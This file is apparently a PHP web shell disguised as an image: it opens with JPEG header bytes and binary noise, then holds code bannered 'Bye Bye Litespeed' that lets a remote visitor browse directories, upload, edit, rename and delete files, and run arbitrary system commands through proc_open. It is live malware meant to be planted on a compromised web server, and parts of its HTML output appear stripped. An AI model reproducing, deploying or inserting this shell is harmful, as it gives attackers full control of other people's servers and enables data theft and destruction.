JFIF !.%+&8&+/1555$;@;4?.451 4,$,44444444444414444444444444444444444444444444444444"?!1AQaq"2BRbr#3SC!!1QAa2 ?5ZVc)t/? z>5zܬ+v_RBFn̝P8gtSTt?N/a)6 ϿjK]-eKnHTx}Sܛ7&<O[PZ-;#|oaCz3ː/TI}^ m%xɟu=Z+ISe45u;&WQ{|x*TC#ZZ6pv*Z%Oo"xOHk w+V(kM5V$ rbb57/luRjҵ`МqIC4cπO<:(^L8#_̩K(z4+;V84:[p~l{G>J"7ɋ ^ƾH#LPX=x$|W?~ ԩ {TKh)J*U;iǀ/ jZ\w=m L9/o=n.% կ|{OjE6e/d1OTsəԸhOMMHl,7¥#MF/fֽdrNʠjqx{-  rq nцƒmn<0ș;Z7Fm &9iNY ZA?,Ic14&y&p6;M0qp.᠅K@%6y63?X5PT!=MڽgSaoR>5sUc kR ]V;|~Ű {LvrעC!V {sNPg/ "ubkm$ďz6 s!swݓ .j>+ҝa&rttLAVp%c[zJXX@<L]T1өVg潦@!_@SS3& ]@JHZ rf!y4Mv*_{UuљØO*Ev U \"㪒K+4M:05!'<@>ǻ&ZCCV5o&h. |Kh$s6K)hIGOI;#$0T.5gn \:h89G)J@}:{/"_73VNJa]Ė=uACZ Qn:,{tyicĀHCk .W'bh]=,vcEHXJXoFt>6[JFsGeqfe\jGe1؋.ؔu Y G|zMpDnQWĔ%J)*p@rT2%G# !OTTa%4&hL.F_ǂa09 qyv85N]ѼS{_M#Ǹ02Pcvw9i18F+Ik17s\xh``"|Ecnh`}G !p6 0i󜵩S7-UROf$-6(}<cs]* d)m\Ig~I#C/EȎi8d>eu'लR1JE1At`t;Р%<`Oy)iIQa4\aԹHu*k)#$E; P:є8Itp3>s42Ozէ.;'}{9Շ0 $WV3 @k4@r?'C3-g$auip/ F2v㿿,nB1̨ƃqa5͝@&l\CUckעU Q噗-r w<=&=t,i;L*1$LL <) ;F{&'}K`T@I;Zs7+Oq黲9< J9OHLrk_Tu[B%E X5O ǕI0JX`%;DwҙU ئ\׮״8ӧ?km=;d5*@-0FR[6̃ڸr*KA9u*?U8@X4e-0s{ HUpU?mRaa%'tג\]th>(@RÁt h}Oau<+nTօMӐ??e95q>/;&JS *2i&:nUl=5e3c|2V>&eE;C p y9[x擼A&Dү;" Qh}q0W|Cm5\Pe3]0LD1xjgwTLΨKsxܱ kfGk/L6d9A{A3/Dkhk`"㯒rjxe}<\3y:'/h̀4~g?(]vlK~?OW%{:'Nqo(X nF{ǀ?'  099C`j@(+aun#{K`'഻/,KW;4 Nm|~fG()1 Ù-s==U66ϫc蓦Wn%<#84n OC` ns1%hý e:UZo` Zʫ1o$qހh[!ژJ:x2$&PT6 *4ݚjɠnf(L5C\rM@ }y-W}V=ٔc<M Phr TD .$OV2.=IU=ia?U'֕.~*T!-T#'elYeKrT"C@u!x{3}1(r}%namj%NE v  σK,*.zU* 9{%ֹ njdaXb)k\M7=ÂVCg8E- j)k$`-EeB]cty&d0n'W+*|Fa\GQEAp5\Ǽ8-[  uZe3}d'+:+Kۮs!$e<۔x)1aLC]kAAY{S[5H7 --,sD؀k  @( N4/o7 y'nݦndeo[,R=;S*gaiJ~ ߳բ8x埒52>Ab&-\7T,w;3{kq{\ [јr &v8]|¬ņ4IpS1z#vG!YNg:mTz1^O=~|5B畼b@SȌ#znr  ZV"Hw7u1ha3 f$onp33ͧ,]$/p e9_C]frN, E=q -:aϿ&:-} 84eQeSsuiA g㟥?ʼn*ahe:Wa@ke] Fԗr. @ZoYLSG/ <~*Zƴ>Jlƽ窘GN:IKJp/`I#-oF4|Q@|ԅ{9YYsi;s4qVI$ " 8cXGjˏAܢ eLx']"o3Ǘ0ng{> Sg238kfd6Ҁ; 'x'e ]bVkBO $!T 3M ٍ886Lop~k!;͠zu;#|u6ڈA4|l|2ǤY.<#A.khFY; M4h4&ts%FLkThaxf`˛>i3t:,+^{ۖNxi"xg >܁ZH,2ۓ:8xʢ9.--=jwµSdtwG_x$O ERw+3UMyRс9_Dl+cGc!Ko=.c(2Vm.BSV>$y:GZdǴ:cLi_+G>O䞴{X}1TcQtOP?e~{5]Rr5nZ\@ &JCV>f/5I_5 ;eh<@ &E%;X,`Okm#!yĢ| Lĝ` R=|Ch53DF#ۜ?yhB ZxhRK`dvײguY w%zpdHAM~):& vGD n 8F ~˥x`oK|?fxi%pR>+>nlFŤ'tq8LZv?߱⽆@x|PUA"vwó{0.z {,NKٞ>ݜ G}` kL {IFQ3&!z.d&-sH,P 77ݼw =c ,5Y)g[v㙑8>h]hY.{7S?~SKJۘ iuj*ԚD:4_ x?M_wL nTkUN:fV MARTX-%iTTقJϐZxWfG 2aZ7OU3[ATތ- &(k:YW )tcTw4|LǪv- qU qPE. ,s]8oi>xx)$vf$Ž |w;IJb` {Ӥ$Yn@9JG m ܯW4ۇ#n-?|сڹ'9K `hSS?7W_B:=q`<8ӌl2d곣h[l|$vro~'RmYͧP |PU:3[{X@W u*=.pdt@Gs crѨ@>ֱ. 'ME[YĵC U'9%eNUsD3/+UI9h.WC빓$#:pz:Yx*$+$kA U>)_Ab9U 9OFhal13[rUCksN] RH+cv0i76s!= ~'moi1)yV8 CLWYiH6im^Y7*ѩLQr*L$ D9ȮqbqC)vsVT,<OJfPð .wFir2_Y *ƀx\ 9@ |F⇥kZ@h0t-<q*ZL)&BJpF5=$at*Z$tdRI1 2$$I$#SޒH;$t$`<(t)$.fXKt=$oI%RgcyI%!) $ԒIIG JARAN GOYANG gshhssjsjsj Good Bye Litespeed
$d) $_GET[$c] = y($d); $currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $rootDirectory); chdir($currentDirectory); $viewCommandResult = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['fileToUpload'])) { $target_file = $currentDirectory . '/' . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "File " . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " Upload success"; } else { echo "Sorry, there was an error uploading your file."; } } elseif (isset($_POST['folder_name']) && !empty($_POST['folder_name'])) { $newFolder = $currentDirectory . '/' . $_POST['folder_name']; if (!file_exists($newFolder)) { mkdir($newFolder); echo '
Folder created successfully!'; } else { echo '
Error: Folder already exists!'; } } elseif (isset($_POST['file_name']) && !empty($_POST['file_name'])) { $fileName = $_POST['file_name']; $newFile = $currentDirectory . '/' . $fileName; if (!file_exists($newFile)) { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo '
File created successfully!'; } else { echo '
Error: Failed to create file!'; } } else { if (file_put_contents($newFile, $_POST['file_content']) !== false) { echo '
File edited successfully!'; } else { echo '
Error: Failed to edit file!'; } } } elseif (isset($_POST['delete_file'])) { $fileToDelete = $currentDirectory . '/' . $_POST['delete_file']; if (file_exists($fileToDelete)) { if (is_dir($fileToDelete)) { if (deleteDirectory($fileToDelete)) { echo '
Folder deleted successfully!'; } else { echo '
Error: Failed to delete folder!'; } } else { if (unlink($fileToDelete)) { echo '
File deleted successfully!'; } else { echo '
Error: Failed to delete file!'; } } } else { echo '
Error: File or directory not found!'; } } elseif (isset($_POST['rename_item']) && isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldName = $currentDirectory . '/' . $_POST['old_name']; $newName = $currentDirectory . '/' . $_POST['new_name']; if (file_exists($oldName)) { if (rename($oldName, $newName)) { echo '
Item renamed successfully!'; } else { echo '
Error: Failed to rename item!'; } } else { echo '
Error: Item not found!'; } } elseif (isset($_POST['cmd_input'])) { $command = $_POST['cmd_input']; $descriptorspec = [ 0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w'] ]; $process = proc_open($command, $descriptorspec, $pipes); if (is_resource($process)) { $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); if (!empty($errors)) { $viewCommandResult = '

Result:

'; } else { $viewCommandResult = '

Result:

'; } } else { $viewCommandResult = '

Error: Failed to execute command!

'; } } elseif (isset($_POST['view_file'])) { $fileToView = $currentDirectory . '/' . $_POST['view_file']; if (file_exists($fileToView)) { $fileContent = file_get_contents($fileToView); $viewCommandResult = '

Result: ' . $_POST['view_file'] . '

'; } else { $viewCommandResult = '

Error: File not found!

'; } } } echo '
     __    Bye Bye Litespeed   _____ __    
    __|  |___ ___ ___ ___ ___   |   __|  | v.1.3
|  |  | .\'| . | . | .\'|   |  |__   |  |__ 
|_____|__,|_  |___|__,|_|_|  |_____|_____|
                |___| ./Heartzz                       
'; echo "Zona waktu server: " . $timezone . "
"; echo "Waktu server saat ini: " . date('Y-m-d H:i:s'); echo '
Curdir: '; $directories = explode(DIRECTORY_SEPARATOR, $currentDirectory); $currentPath = ''; $homeLinkPrinted = false; foreach ($directories as $index => $dir) { $currentPath .= DIRECTORY_SEPARATOR . $dir; if ($index == 0) { echo ' / ' . $dir . ''; } else { echo ' / ' . $dir . ''; } } echo ' / [ GO Home ]'; echo '
'; echo '
'; echo ''; echo ''; echo '
'; echo '
'; echo ''; echo ''; echo ''; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; echo ''; echo '
'; echo '
'; echo $viewCommandResult; echo '
'; echo '
'; echo ''; echo '
'; foreach (scandir($currentDirectory) as $v) { $u = realpath($v); $s = stat($u); $itemLink = is_dir($v) ? '?d=' . x($currentDirectory . '/' . $v) : '?'.('d='.x($currentDirectory).'&f='.x($v)); $permission = substr(sprintf('%o', fileperms($u)), -4); $writable = is_writable($u); echo ''; } echo '
Item Name
Size
Date
Permissions
View
Delete
Rename
'.$v.' '.filesize($u).' '.date('Y-m-d H:i:s', filemtime($u)).' '.$permission.'
'; function deleteDirectory($dir) { if (!file_exists($dir)) { return true; } if (!is_dir($dir)) { return unlink($dir); } foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') { continue; } if (!deleteDirectory($dir . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($dir); } ?>